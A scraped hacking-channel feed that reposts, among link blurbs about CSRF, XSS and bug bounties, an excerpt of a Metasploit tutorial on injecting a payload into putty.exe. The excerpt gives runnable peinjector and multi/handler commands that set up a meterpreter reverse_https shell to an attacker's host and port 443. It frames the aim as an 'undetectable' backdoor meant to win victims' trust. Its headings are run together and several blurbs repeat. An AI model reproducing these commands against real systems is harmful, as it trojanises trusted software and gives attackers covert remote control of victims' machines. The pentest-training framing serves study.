Hacking Articles|Raj Chandel's Blog
Metasploit for Pentester: Inject Payload into Executable

Being lurking and undetectable is the priority after anonymity. In this article, we are going to learn how to create an innocuous-looking backdoor and bind it with a legitimate executable file to gain the victims’ trust.

Table of Content1. Pre-requisites for Lab set upPre-requisites for Lab set upKali Linux (Pentester Machine)Executable file search on victim’s PCLet’s Begin. There are multiple methods to take the meterpreter session of the target machine, so you can adapt any method to have the session of the victims’ PC. We already have a meterpreter session of the victim’s PC.Introduction of Peinjector ModuleThis module will inject a specified windows payload into a target executable. set targetpe C:\\Users\\ignite\\Downloads\\putty.exe set session 1 set lhost 192.168.1.2 set lport 443 exploit use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 192.168.1.2 set lport 443 exploit https://1.bp.blogspot.com/-8kl088cO2gw/YQLjZhHhYeI/AAAAAAAAx_c/s8dC8uebxSIOsL_W1Vo34gzaYws79mX4gCLcBGAsYHQ/s16000/3.png As Victim is not aware of the backdoor created by the peinjector payload, whenever the victim will try to use the putty.exe which will look legitimate to him, and also he will not observe any change in the functionality of putty.

___________________________
@hacking_Attack
@Hacking_Video

Cross Site Request Forgery(CSRF)Vulnerabilities

What is CSRF? How CSRF vulnerabilities work explained in simplest way possible.Continue reading on Medium »
Read more...

My First Instagram Bug Bounty Report

Something is better than nothing, even if it is less than one wanted.Continue reading on InfoSec Write-ups »
Read more...

Cross Site Request Forgery(CSRF)Vulnerabilities
https://medium.com/@noobdog/cross-site-request-forgery-csrf-vulnerabilities-b6203cea2d1?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

What is CSRF? How CSRF vulnerabilities work explained in simplest way possible.Continue reading on Medium » (https://medium.com/@noobdog/cross-site-request-forgery-csrf-vulnerabilities-b6203cea2d1?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

My First Instagram Bug Bounty Report
https://infosecwriteups.com/my-first-instagram-bug-bounty-report-682f39a45994?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Something is better than nothing, even if it is less than one wanted.Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/my-first-instagram-bug-bounty-report-682f39a45994?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Demystifying an XSS payload!
https://securitygoat.medium.com/demystifying-an-xss-payload-a56242e6265e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Just found an weird and cool trick by Gareth Heyes, so thought to reverse engineer it and find out the root cause :)Continue reading on Medium » (https://securitygoat.medium.com/demystifying-an-xss-payload-a56242e6265e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
In Todays World How Easy Is To Hack And Be Hacked?

I was curious to know how easy it is in todays world to hack and be hacked.

Disclaimer, I am only trying to learn how to protect myself and others.

I am aware of social engineering, ddos, and a couple other methods I heard about on the news.

I just wanted to know in todays word of antivirus softwares and updates if hacking is still what it used to be. If it has gotten easier or harder. Are we really safer?

Also how many hackers are programmers? Do you need to be a programmer?

I have heard of operating systems that were designed to penetrate systems.

submitted by /u/FoxWitz
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Metasploit for Pentester: Inject Payload into Executable

Being lurking and undetectable is the priority after anonymity. In this article, we are going to learn how to create an innocuous-looking backdoor and bind it with a legitimate executable file to gain the victims’ trust. Table of Content Pre-requisites for Lab set up Executable file search on victim’s PC

The post Metasploit for Pentester: Inject Payload into Executable appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

My First Instagram Bug Bounty Report

Something is better than nothing, even if it is less than one wanted.Continue reading on InfoSec Write-ups »
Read more...

Hacking on Medium
“Defend the Web” write-up (Intro 1 — client code information leak)

https://cdn-images-1.medium.com/max/1000/1*vyFoU1ftwL_dGX6UQaa8Lg.jpeg
Defend the Web is an immersive security platform that allows you to practice and test your skills. You can use their challenges to put…

Continue reading on Purple TEAM »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
siberhareket.com

https://cdn-images-1.medium.com/max/2215/1*I4Q_dmaKUsAeqMVeTYWpqQ.jpeg
Siber Hareket ismiyle 2020 senesiyle yayın hayatına türkçe deep web sitesi olarak başladık, Türk Siber Güvenlik ve Saldırı hack forumu…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video